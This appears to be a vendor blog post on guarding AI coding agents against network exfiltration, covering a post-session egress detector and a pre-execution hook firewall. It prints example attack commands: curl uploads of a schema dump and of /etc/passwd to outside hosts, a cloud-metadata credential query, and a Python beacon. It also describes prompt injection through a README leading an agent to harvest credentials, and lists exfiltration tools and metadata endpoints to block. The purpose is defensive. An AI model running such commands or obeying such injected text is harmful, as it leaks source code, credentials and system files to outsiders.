deep-dive
Oct 28, 2026Coding agents can upload source code, query cloud metadata, and reach foreign endpoints. How post-execution anomaly detection (AD-015) and pre-tool egress firewalls stop it.
Autonomous AI coding agents are different from chat interfaces in one critical way: they have access to an active shell.
When Claude Code, Cursor, Antigravity, Codex, or GitHub Copilot work on a software project, they do not merely output code suggestions. They inspect directories, run build scripts, compile binaries, and execute terminal commands. When an agent encounters missing dependencies, needs documentation, or attempts to debug an error, it reaches for standard networking tools: curl, wget, httpie, scp, python -c "import requests...", or native web fetch utilities.
In an ideal world, every outbound connection is an innocent query to a public API or official package registry. In reality, shell access turns an autonomous agent into an uncontrolled exfiltration channel.
Whether prompted by a developer, nudged by a rogue prompt injection in an open-source issue, or executing a poisoned npm package, an agent with shell access can:
.env files to external webhooks or pastebins.169.254.169.254) to steal temporary IAM role credentials.Traditional enterprise security tools—corporate forward proxies, VPNs, and host firewalls—fail to address this threat on modern engineering laptops. This guide breaks down the four real-world egress attack surfaces, explains why legacy network perimeters fail, and details how two complementary defense layers—AD-015 anomaly detection and pre-execution hook firewalls—stop unauthorized outbound network traffic before packets leave the machine.
TL;DR
- The Problem: Coding agents with shell privileges routinely execute
curl,wget,scp, and script-based HTTP calls, creating an unmonitored channel for data exfiltration and metadata SSRF attacks.- Why Perimeters Fail: Corporate proxies and VPNs are frequently bypassed by off-network developers, while host-level OS firewalls (
iptables,pf) require root privileges and cannot distinguish agent tool calls from developer actions.- Layer 1 (AD-015 Detection): Scans session tool calls deterministically for uploads, file transfers, recon chaining, and metadata queries with zero-exfiltration evidence.
- Layer 2 (Pre-Execution Guard): Synchronously intercepts agent tool calls in the client hook across Claude, Cursor, Antigravity, Codex, and Copilot, returning an immediate
denyverdict before subprocesses spawn.- Offline Microsecond GeoIP: Bundled binary-search country engine resolves 238 ISO-2 countries in ~25µs with zero external API calls or latency.
- Wildcard Safe Lists & SSRF Hard Boundary: Supports globs (
*.company.com) and regex patterns, while cloud metadata endpoints (169.254.169.254) remain permanently unallowlistable.
To understand why network egress requires agent-aware controls, consider a realistic scenario: an agent is tasked with debugging an unexpected database migration failure.
Finding that the local Postgres instance has failed, the agent attempts to inspect the local environment, encounters an error, and decides to send a diagnostic dump to an external logging service:
# What the agent runs in its terminal tool:
curl -X POST https://paste.example.com/api/dump \
-H "Content-Type: application/json" \
-d @./db/schema_dump.sql
To a static code analysis tool or an endpoint file watcher, nothing suspicious occurred: no git commit was made, and curl is a standard binary on every developer's machine. But within seconds, internal database schemas and customer table structures were transmitted to a third-party server.
Even worse, if an agent is tricked via indirect prompt injection (for instance, inside a malicious README or third-party test file), it can be instructed to harvest cloud credentials:
# Agent querying cloud metadata:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/production-role
Within a single tool turn, temporary AWS STS credentials are read into the agent's context and returned in the chat session.
Network exfiltration from an AI coding agent does not happen through a single predictable tool. Agents adapt dynamically, operating across four distinct surfaces:
┌────────────────────────────────────────────────────────┐
│ AI Coding Agent │
└──────┬───────────────────┬──────────────────┬──────────┘
│ Surface 1 │ Surface 2 │ Surface 3 │ Surface 4
▼ ▼ ▼ ▼
Shell HTTP/Web File Transfer Script Runners Cloud SSRF / Recon
• curl -d @file • scp code.tar • python requests • 169.254.169.254
• wget -O- ... • sftp, rsync • node fetch() • metadata.google
• WebFetch(url) • nc, socat • deno, ruby net • internal port scan
The most common egress path. The agent invokes command-line clients (curl, wget, httpie) or built-in web fetch tools (WebFetch, fetch_web_page). These are frequently used to download documentation, but they are equally capable of executing POST or PUT payloads containing file contents.
When transferring artifacts or backing up files, agents often attempt remote file copies via scp, sftp, rsync, or raw socket pipes (nc, socat). These bypass standard HTTP logging layers and communicate directly over SSH or custom TCP ports.
When direct shell utilities are restricted or fail, the agent writes and executes inline scripts:
# Agent executes inline Python to bypass command-name checks:
python3 -c "import urllib.request; urllib.request.urlopen('http://remote.host/beacon')"
Because the command being executed is python3, simple rule engines that only look for the word curl miss the outbound HTTP request entirely.
When operating on cloud workstations, EC2 instances, or remote devboxes, agents can probe cloud metadata IP addresses (169.254.169.254, metadata.google.internal) or execute reconnaissance loops (nmap, port sweeps) against internal corporate subnets.
Security teams often ask: “Can't our existing corporate forward proxy or host firewall handle this?”
In practice, existing enterprise network tools fail on developer workstations for three architectural reasons:
github.com or aws.amazon.com. It cannot tell whether that connection was initiated by a human developer running git push or an autonomous agent uploading an unredacted .env file via a shell tool.iptables, pf, or kernel eBPF modules requires root/sudo access, creates cross-platform maintenance headaches across macOS, Linux, and Windows, and frequently breaks Docker containers, local minikubes, and development servers.To govern AI agents safely without obstructing engineering velocity, controls must operate at the agent tool layer itself.
ReclaimLLM implements a dual-layer security model combining post-session detection with real-time pre-execution prevention:
┌────────────────────────────────────────────────────────┐
│ Developer Terminal / IDE │
│ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ AI Coding Agent (Claude, Cursor, Codex, Copilot) │ │
│ └─────────────────────────┬────────────────────────┘ │
│ │ Tool Invocation │
│ ▼ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ Layer 2: Pre-Execution Hook Egress Guard │ │
│ │ • Local Loopback Bypass (0 overhead) │ │
│ │ • Wildcard Safe List Check │ │
│ │ • 25µs Offline Country Firewall │ │
│ │ • Metadata SSRF Hard Deny │ │
│ └─────────────┬──────────────────────────┬─────────┘ │
│ Allowed │ │ Denied │
│ ▼ ▼ │
│ Subprocess Executes Tool Refused │
│ │ (Packet Never Leaves) │
│ ▼ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ Layer 1: AD-015 Anomaly Detector & Alerts │ │
│ │ • Hourly / Daily Session Scan │ │
│ │ • Upload Payload & Recon Detection │ │
│ │ • Zero-Exfiltration Audit Evidence │ │
│ └──────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────┘
The first line of defense is AD-015: External Network Egress Anomaly Detection. AD-015 is a deterministic backend detector that monitors normalized tool executions across all developer sessions.
Unlike black-box AI detectors that re-feed prompts into another expensive LLM, AD-015 parses captured tool calls deterministically, categorizing activity into calibrated severity levels:
| Severity | Triggers & Behaviors | Recommended Security Action |
| :--- | :--- | :--- |
| Warning | Outbound requests to unknown external domains or uncataloged IPs without upload payloads. | Review in morning daily digest; verify if the external host should be added to the safe list. |
| High | Data upload flags (-d, --data, -F, --upload-file), file transfer utilities (scp, rsync), or script-driven HTTP requests (python requests). | Immediate investigation of the session trace to verify whether source code or tokens were transferred. |
| Critical (P0) | Cloud metadata SSRF attempts (169.254.169.254), connections to banned countries, or egress combined with sensitive file access (AD-004 correlation). | Instant P0 alert via Amazon SES. Immediate revocation of compromised credentials and session isolation. |
An alert system must never cause a data leak of its own. When AD-015 flags an anomalous egress event, the stored audit evidence includes:
While AD-015 provides indispensable visibility, post-execution detection alone has a fundamental limitation: by the time an alert arrives in your inbox, an exfiltrated file is already in the attacker's hands.
To solve this, ReclaimLLM integrates Pre-Execution Egress Guard (egress_guard.py) directly into the native client hooks of Claude Code, Cursor, Antigravity, OpenAI Codex, and GitHub Copilot.
localhost, 127.0.0.1, 0.0.0.0, ::1) instantly. These calls proceed with zero network overhead.# Attempted agent command:
$ curl -s https://59.110.117.233/collect -d @/etc/passwd
# Hook output delivered back to the agent:
[egress_guard] BLOCKED: Egress target 59.110.117.233 is disallowed
(country CN blocked by organizational firewall policy).
Decision: deny
The agent receives structured context explaining that the outbound request was blocked by security policy, gracefully guiding it to alternative local approaches.
Enforcing country-level network boundaries (such as blocking connections to servers in China or Russia, or restricting agents exclusively to domestic cloud regions) traditionally requires querying external GeoIP web services.
Querying a third-party GeoIP API on every agent tool execution is unacceptable: it adds 100–300ms of latency to interactive coding turns, incurs recurring API costs, and leaks every host your developers visit to a third party.
ReclaimLLM solves this by embedding an offline, in-memory IPv4 and IPv6 country prefix engine:
off: Country checks disabled (default).blocklist: Explicitly blocks traffic to configured countries (e.g., CN, RU, KP, IR) while allowing all others.allowlist: Restricts outbound agent connections strictly to approved jurisdictions (e.g., US, CA, GB, DE), denying all unlisted regions.Enterprise architectures rely on microservices, dynamic CDNs, and multi-region clusters. To eliminate configuration toil, ReclaimLLM's safe list engine supports comprehensive pattern matching:
*.example.com matches the root domain and all nested subdomains (api.example.com, auth.us-east.example.com). Wildcards also support cross-TLD matching (*.example.*) and prefix patterns (api-*.example.com).regex:^internal-[0-9]+\.corp$, /^app\.(internal|local)$/i) accommodates complex naming schemes.10.0.0.0/8, 192.168.1.0/24) match private development infrastructure.Cloud metadata services represent an existential threat to cloud-hosted environments. To ensure defense integrity, cloud metadata endpoints:
169.254.169.254 (AWS, Azure, GCP, OpenStack metadata)169.254.170.2 (AWS ECS task metadata)100.100.100.200 (Alibaba Cloud metadata)metadata.google.internal (GCP DNS metadata)are permanently unallowlistable. The policy normalization engine rejects any entry containing these endpoints, guaranteeing that metadata SSRF queries are unconditionally blocked.
| Security Control | What It Does | What It Misses |
| :--- | :--- | :--- |
| Corporate Forward Proxy / VPN | Inspects HTTP/HTTPS traffic on managed networks. | Bypassed when off-VPN; cannot correlate network packets to specific agent tool turns; easily disabled by local admins. |
| Host OS Firewalls (iptables / pf) | Blocks raw IP/port traffic at the operating system layer. | Requires root/sudo privileges; lacks agent tool context; high risk of breaking local Docker and dev stacks. |
| AD-015 Anomaly Detection | Deterministic post-session audit over tool records; flags uploads, recon, and metadata probing with zero-exfiltration evidence. | Reactive: alerts arrive after the command has already executed on the machine. |
| Pre-Execution Hook Egress Guard | Halts unauthorized outbound HTTP, file transfer, and script network calls synchronously before subprocess execution. | Does not inspect compiled C/Go binary network calls compiled and executed inside a subshell without CLI targets. |
Egress firewall management is housed in a dedicated workspace under the Signals dashboard:
*.github.com, *.npmjs.org, *.mycompany.internal).blocklist or allowlist and select target ISO-2 country tags.To verify hook status on any developer workstation:
# Verify client hook registration and active policy snapshot:
rclm status
No. Standard file edits, reads, local unit tests, and commands targeting localhost, 127.0.0.1, or ::1 are identified instantly and bypass network checks completely. External IP evaluations complete in microseconds.
ReclaimLLM client hooks follow a fail-open design principle: if the backend policy check times out after 2.5 seconds or is unreachable, tool calls are allowed to proceed. This ensures developer productivity is never blocked during plane travel or network outages.
If an internal service uses split-horizon DNS where internal hostnames resolve to private IPs internally but public IPs externally, simply add the internal domain wildcard (e.g., *.corp.internal) to the Safe List. Safe-listed targets bypass country IP checks entirely.
By default, standard engineering package registries and common development hubs are included in default templates. Administrators have full autonomy to add or remove domains from their organization's safe list.
ReclaimLLM combines pre-execution hook inspection with AD-015 post-session anomaly detection. While complex obfuscated subshells may obscure direct CLI argument parsing at the hook layer, AD-015 scans normalized execution records and execution traces post-turn, alerting security teams to anomalous payload encodings and unusual outbound socket connections.